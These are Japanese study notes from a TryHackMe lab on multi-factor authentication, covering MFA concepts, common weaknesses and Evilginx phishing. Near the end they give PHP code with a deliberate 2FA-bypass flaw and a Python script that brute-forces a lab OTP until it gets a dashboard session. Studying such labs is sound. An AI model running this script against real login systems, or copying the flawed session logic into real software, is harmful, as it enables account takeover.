コース : https://tryhackme.com/room/multifactorauthentications
用語
- OTP
- One Time Password
- XHR
- XMLHttpRequest
- Web ブラウザがサーバーに対して非同期通信(AJAX)を行う仕組みを指す総称
- XHR を実装するJavaScript オブジェクト
new XMLHttpRequest()
で生成し、open()
→send()
でリクエストを送る
- 2FA
- Two-Factor Authentication
MFA
- 2 つ以上の要素を要求するすべての仕組み
2要素認証 - ちょうど 2 つの要素を要求する仕組み
二要素認証とかの複数の要素を組み合わせる認証方法
- 知識情報
- Something You Know
- パスワードなど
- 所持情報
- Something You Have
- 認証アプリが入ったスマホ・セキュリティキー(YubiKeyなど)
- 所在要素
- Somewhere You Are
- 発信元IP
- 生体情報
- Something You Are
- 指紋、顔認証など
- 行動情報
- Something You Do
- タイピングやマウスの動きといった行動パターン
2FAの主な方式
- TOTP
- Time-Based One-Time Password
- 30 秒ごとに変わるワンタイムコード
- Google/Microsoft Authenticator や Authy
- プッシュ通知
- Duo や Google Prompt が端末に承認/拒否の通知を送信
- Google Prompt
- Gmail appとかでのプッシュ通知
- Googleアカウントにログインすると、スマートフォンを確認するよう促すリマインダーが表示される
- スマートフォンに送信された『ログインしようとしていますか?』というプロンプトで『はい』をタップする
- 所有デバイスの確認に有効。
- 「MFA 疲労攻撃」が Uber で悪用された例あり
- SMS
- 1 回限りのコードを SMS で送付。便利だが、メッセージ傍受リスクがある
- ハードウェアトークン
- YubiKeyなど
- オフラインでも使える
条件付きアクセス
- 組織が状況に応じて追加認証を要求する仕組み
- 場所ベース
- 通常の勤務地なら追加認証なし、未知の場所なら OTP を要求。
- 時間ベース
- 勤務時間内は通常認証、時間外は追加トークンを要求。
- 行動分析
- 異常なデータアクセスや時間帯なら追加認証。
- デバイス指定
- 未承認デバイスからのアクセスをブロック。
規制
MFAはフィッシングやパスワード攻撃などに有効な対策であることから、急速に普及
義務化されつつある規制
- GDPR
- EU
- HIPAA
- アメリカ
- PCI-DSS
- 決済まわり
2017 年の Equifax や 2013 年の Target のような大規模侵害も、MFA があれば防げたかもしれないと言われている
- 2017 年の Equifaxに対する攻撃
- https://japan.zdnet.com/article/35140265/
- 米信用情報会社のEquifaxが、1億4000万件を超えるユーザー情報の漏洩
- 2013 年の Target に対する攻撃
- https://japan.zdnet.com/article/35062058/
- https://www.cbsnews.com/news/target-confirms-massive-credit-debit-card-data-breach/
- 米小売チェーン大手のTarget
- 約4000万件ものクレジットカードおよびデビットカードの情報の流出
業界別MFA
銀行業
- パスワードなどの知識情報
- SMSやスマホでの所持情報
医療分野におけるMFA
- 米国の HIPAA などの規制により、MFA は患者の診療記録や個人の健康情報を認可された者だけが閲覧できるようにするために利用されている
- 電子カルテ(EHR)などの機密システムにアクセスする際、医療従事者に セキュリティバッジ(所持情報) と 指紋スキャン(生体情報) を求めることがある
企業 IT における MFA
- 社内ネットワーク、データベース、クラウドサービスにアクセスする際に MFA がよく使われる
- 業員はまず 社内資格情報(知識情報) でログインし、その後 会社支給の携帯電話へ送られたコード(所持情報) や 生体認証(生体情報) で本人確認を行う
一般的な脆弱性
-
脆弱な OTP 生成アルゴリズム
- OTPの安全性は、生成するアルゴリズムの強度に左右される
- アルゴリズムが弱い、あるいは予測しやすい場合、攻撃者は OTP を推測しやすくなる
- 真にランダムなシードを用いないアルゴリズムでは、生成される OTP に規則性が生じ、予測される危険性が高まる
-
アプリケーションによる 2FA トークンの漏洩
- アプリケーションがデータを不適切に扱ったり、API エンドポイントが安全でなかったりすると、HTTP レスポンス内に 2FA トークンを漏洩するおそれがある
- ユーザーがログイン後に 2FA ページへ遷移すると、アプリケーションが OTP を発行するエンドポイントへ XHR リクエストを送信する
- 実装が不適切だと、その XHR の HTTP レスポンスに OTP が含まれ、ユーザー側で閲覧できてしまうケースがある
-
OTP のブルートフォース
- OTP は一度しか使えない設計ですが、ブルートフォース攻撃に対して完全ではない
- 攻撃者が無制限に試行できれば、最終的に正しい OTP に行き着く可能性がある
- ユーザーが入力できるけど、ブルートフォースができない時間に設定する必要がある
-
レートリミットの欠如
- 適切なレートリミットがないと、攻撃者は短時間に大量の OTP を試すことができる
- 試行回数が増えるほど、正しい OTP を当てる確率も高まる
- 実際、ある HackerOne のレポートでは、アプリケーションが 2FA コード検証時にレートリミットを設けていなかった
- テスターが有効な脆弱性として報告できる
-
Evilginx の使用
- Evilginx はレッドチーム演習で用いられるツールで、巧妙なフィッシング攻撃を行い MFA を迂回できる
- MITM型のプロキシで、ユーザー向けOTPの傍受・転送を行う
- 流れ
- 攻撃者がフィッシングリンクを送付
- ユーザーが本物に見えるログインページで資格情報を入力する
- Evilginx はユーザー名・パスワード・OTP を取得し、正規サイトへ転送
- 攻撃者は取得したクッキーを用いて、MFA を破らずにアクセスできるようになる
流れの画像
OTPの漏洩
サーバー側での検証と機密データの返却
- XHR(XMLHttpRequest)のレスポンスで OTP が漏洩するのは、2FA(Two-Factor Authentication)の実装不備や安全でないコーディングが原因で起こる
- 設計が不十分なアプリケーションでは、サーバーが OTP を検証した後、結果(成功/失敗)の代わりに OTP 自体 をレスポンスに含めて返してしまうことがある
- デバッグやログ出力、誤ったレスポンス処理が原因で意図せず行われる場合がほとんど
適切なセキュリティ対策の不足
- 開発者が API レスポンスに重要情報(OTP など)を露出させる危険性を見落としていることがある
- 機能実装に注力するあまり、攻撃者から見た脆弱性を考慮できていないケース
セキュアコーディングの知識不足
- すべての開発者がセキュアコーディングを熟知しているわけではない
- 2FA の機能を実装していても、XHR レスポンスに機密情報を含めることのリスクを十分に理解していない場合がある
本番環境に残されたデバッグ情報
- 開発・テスト段階で問題解析のために詳細なデバッグ情報をレスポンスに含めることがある
- デバッグ用レスポンスを削除しないまま本番環境へデプロイすると、OTP などの機密情報が漏洩するおそれがある
2FA 失敗時にログイン画面へ戻されるアプリ
- 一部のアプリケーションでは、2FAに失敗すると、認証プロセスの最初のステップ(ユーザー名とパスワード入力)に戻される
- 2FAへのブルートフォース攻撃を防ぐための動作
- 再認証を強制することで確認しようとしていること
- ログインを試みている人物が正当なユーザーか
- 攻撃者ではないか
ログイン画面に戻される理由
- セッションの無効化
- レートリミット・ロックアウト
- 複数回2FAに失敗したため
- 再度、認証情報の確認
脆弱性の悪用
バイパス
- 脆弱なアプリでは、ロジックの結果や安全でないコーディングによって、認証プロセスをバイパスし、ダッシュボードなどにアクセスできることがある
- 使われる可能性のある脆弱性
- 不適切なセッション管理
- アクセス制御の不備
- 2FAを強制し損ねているロジックの実装ミスが原因
例えば、ログイン画面で認証情報を入れてから、OTPを行わないで、直接dashboardが見えてしまう
簡単なMFA風コード例
安全なコード
/mfa
ページで使用されるコードの一部
# 送信された 2FA トークンを検証する関数
function verify_2fa_code($code) {
if (!isset($_SESSION['token']))
return false;
return $code === $_SESSION['token'];
}
# /mfa ページで呼び出される処理
if (verify_2fa_code($_POST['code'])) {
$_SESSION['authenticated'] = true;
header('Location: ' . ROOT_DIR . '/dashboard');
return;
}
文字にすると、
-
verify_2fa_code($_POST['code'])
がTrueだったら- 2FAが成功したフラグを立てて
- ダッシュボードへリダイレクトする
-
verify_2fa_code($_POST['code'])
関数- そもそもサーバーにOTPがあるのか(ユーザーにOTPを発行したのか)を
$_SESSION['token']
で確認する$_SESSION['token']
- サーバ側で生成した OTP を一時的に保存しておく場所
- ここでfalseだと、認証フローが正しく進んでいない or トークンが期限切れなどで発行していない。もしくは、発行したがタイムアウトなどで削除済み
- ユーザーが入力したOTPとサーバー側にあるOTPが、値も型も同じだった場合、trueを返す
- ここでfalseだと、サーバー側でもOTPを発行したけど、ユーザーのOTPが異なる場合
- そもそもサーバーにOTPがあるのか(ユーザーにOTPを発行したのか)を
一文にすると、
「送信された OTP がセッションに保存されているトークンと存在しているか。値も型も一致するか。を確認し、一致すれば認証成功」
脆弱性があるコード
MFAをバイパス可能なコード例
# 認証情報の確認
function authenticate($email, $password){
$pdo = get_db_connection();
$stmt = $pdo->prepare("SELECT `password` FROM users WHERE email = :email");
$stmt->execute(['email' => $email]);
$user = $stmt->fetchFETCH_ASSOC;
return $user && password_verify($password, $user['password']);
}
# 認証情報があっているかの確認しかしていない
if (authenticate($email, $password)) {
$_SESSION['authenticated'] = true; #この一行が悪い
$_SESSION['email'] = $_POST['email'];
header('Location: ' . ROOT_DIR . '/mfa');
return;
}
- OTPの認証の前に
$_SESSION['authenticated']
をTrueにしてしまう- /dashboardは、
$_SESSION['authenticated']
がTrueかFalseしか見ていないのでdashboardが表示されちゃう
- /dashboardは、
スクリプトによる攻撃
アプリの概要
- ユーザーは 2FA を 1 回でも失敗すると自動ログアウト
- セッションが作り直されて、また新しいOPTが設定される
- アプリはログインごとに 4 桁 PIN(1250〜1350)であることがわかってる
- 対象
http://mfa.thm/labs/third/
に対して、4桁PINなので、何回も送りつけて本当にサーバー側のOPTが1337の時に通るようにしている - サーバーが生成するOPTは2FAのコードが変わることを利用している
import requests
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'
credentials = { 'email': 'thm@mail.thm', 'password': 'test123' }
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://mfa.thm',
'Connection': 'close',
'Referer': 'http://mfa.thm/labs/third/mfa',
'Upgrade-Insecure-Requests': '1'
}
def is_login_successful(resp):
return "User Verification" in resp.text and resp.status_code == 200
def login(sess):
return sess.post(login_url, data=credentials, headers=headers)
def submit_otp(sess, otp):
otp_data = {'code-1': otp[0], 'code-2': otp[1], 'code-3': otp[2], 'code-4': otp[3]}
resp = sess.post(otp_url, data=otp_data, headers=headers, allow_redirects=False)
print(f"DEBUG: OTP submission response status code: {resp.status_code}")
return resp
def is_login_page(resp):
return "Sign in to your account" in resp.text or "Login" in resp.text
def try_until_success():
otp_str = '1337'
while True:
sess = requests.Session()
if not is_login_successful(login(sess)):
print("Failed to log in."); continue
print(f"Trying OTP: {otp_str}")
resp = submit_otp(sess, otp_str)
if is_login_page(resp):
print("Unsuccessful OTP attempt, redirected to login page."); continue
if resp.status_code == 302:
loc = resp.headers.get('Location', '')
print(f"Session cookies: {sess.cookies.get_dict()}")
if loc == '/labs/third/dashboard':
print(f"Successfully bypassed 2FA with OTP: {otp_str}")
return sess.cookies.get_dict()
elif loc == '/labs/third/':
print("Failed OTP attempt. Redirected to login.")
else:
print(f"Unexpected redirect location: {loc}")
try_until_success()
$ python3 exploit.py
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Unsuccessful OTP attempt, redirected to login page.
...
Session cookies: {'PHPSESSID': '57burqsvce3odaif2oqtptbl13'}